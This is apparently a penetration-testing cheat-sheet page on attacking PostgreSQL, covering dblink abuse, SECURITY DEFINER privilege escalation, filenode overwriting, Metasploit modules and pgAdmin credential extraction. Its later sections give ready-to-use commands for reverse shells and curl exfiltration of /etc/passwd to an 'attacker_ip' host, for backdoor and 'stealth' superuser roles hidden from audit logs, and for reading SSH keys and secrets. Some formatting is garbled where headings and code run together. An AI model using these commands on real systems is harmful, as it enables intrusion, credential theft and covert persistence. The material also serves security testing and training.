uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Local Login
Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink
function:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Note that for the previous query to work the function dblink
needs to exist. If it doesn't you could try to create it with
CREATE EXTENSION dblink;
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
It's possible to check if this function exists with:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Custom defined function with SECURITY DEFINER
In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.
In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
And then execute commands:

Privesc by Overwriting Internal PostgreSQL Tables
The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
If you can read and write PostgreSQL server files, you can become a superuser by overwriting the PostgreSQL on-disk filenode, associated with the internal pg_authid
table.
Read more about this technique here.
The attack steps are:
Obtain the PostgreSQL data directory
Obtain a relative path to the filenode, associated with the
pg_authid
tableDownload the filenode through the
lo_*
functionsGet the datatype, associated with the
pg_authid
tableUse the PostgreSQL Filenode Editor to edit the filenode; set all
rol*
boolean flags to 1 for full permissions.Re-upload the edited filenode via the
lo_*
functions, and overwrite the original file on the disk(Optionally) Clear the in-memory table cache by running an expensive SQL query
You should now have the privileges of a full superadmin.
POST Exploitation
Using MSF modules
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logging
Inside the postgresql.conf file you can enable postgresql logs changing:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Then, restart the service.
pgadmin
pgadmin is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Client authentication in PostgreSQL is managed through a configuration file called pg_hba.conf. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.
The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.
Privilege Escalation via Roles
Abuse
CREATEROLE
:GRANT pg_read_server_files TO attacker; GRANT pg_write_server_files TO attacker; GRANT pg_execute_server_program TO attacker;
Create a new privileged role:
CREATE ROLE backdoor LOGIN PASSWORD 'SuperSecret123' SUPERUSER;
File System Looting
Read sensitive files (if
pg_read_server_files
is available):SELECT pg_read_file('/etc/passwd', 0, 10000); SELECT pg_read_file('/etc/postgresql/12/main/pg_hba.conf', 0, 10000);
Dump SSH keys, configs, or application secrets from
/home
or/etc
.
RCE Persistence
Use
COPY FROM PROGRAM
for command execution:COPY cmd_exec FROM PROGRAM 'bash -c "nc -e /bin/bash attacker_ip 4444"';
Or backdoor via malicious PostgreSQL extensions (
.so
files loaded withCREATE EXTENSION
).
Pivoting / Internal Recon
Use
dblink
for internal port scanning:SELECT * FROM dblink_connect('host=10.0.0.10 port=22 user=postgres password=secret dbname=template1');
Enumerate other databases / internal services reachable from the DB host.
Data Exfiltration
Dump tables of interest:
COPY (SELECT * FROM users) TO '/tmp/users.csv' DELIMITER ',' CSV;
Encode and exfiltrate via HTTP (if outbound allowed):
COPY (SELECT pg_read_file('/etc/passwd')) TO PROGRAM 'curl -d @- http://attacker_ip/upload';
Filenode Abuse
Modify system tables by editing filenodes:
Extract
pg_authid
filenode.Set your role to
rolsuper = true
.Re-import → instant superuser escalation.
Config File Backdooring
Overwrite
postgresql.conf
with malicious settings:ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/attacker_ip/9001 0>&1"' ssl_passphrase_command_supports_reload = on;
Reload:
SELECT pg_reload_conf();
Cloud-Specific Post-Exploitation
AWS RDS: Look for
rdsadmin
DB → often exposes internal AWS metadata APIs.GCP CloudSQL: Abuse
ANALYZE
+ALTER TABLE
to execute ascloudsqladmin
.Azure Database for PostgreSQL: Look for misconfigured
SECURITY DEFINER
functions.
Credential Harvesting from Applications
Search for hardcoded DB creds in:
/var/www/html/config.php
/etc/postgresql/*/main/pg_hba.conf
/etc/environment
or.env
files
If pgAdmin
is installed (like you noted):
sqlite3 pgadmin4.db "SELECT * FROM user;"
sqlite3 pgadmin4.db "SELECT * FROM server;"
Decrypt stored passwords using the crypto.py
script.
Establishing Persistence
Create a hidden superuser:
CREATE ROLE stealth LOGIN PASSWORD 'UndetectablePass123' SUPERUSER;
Hide it by modifying audit/logging configs to exclude the new user.
Alternatively, implant a malicious trigger that re-creates the backdoor user if deleted.
Learn & practice For the Bug Bounty
Last updated
Was this helpful?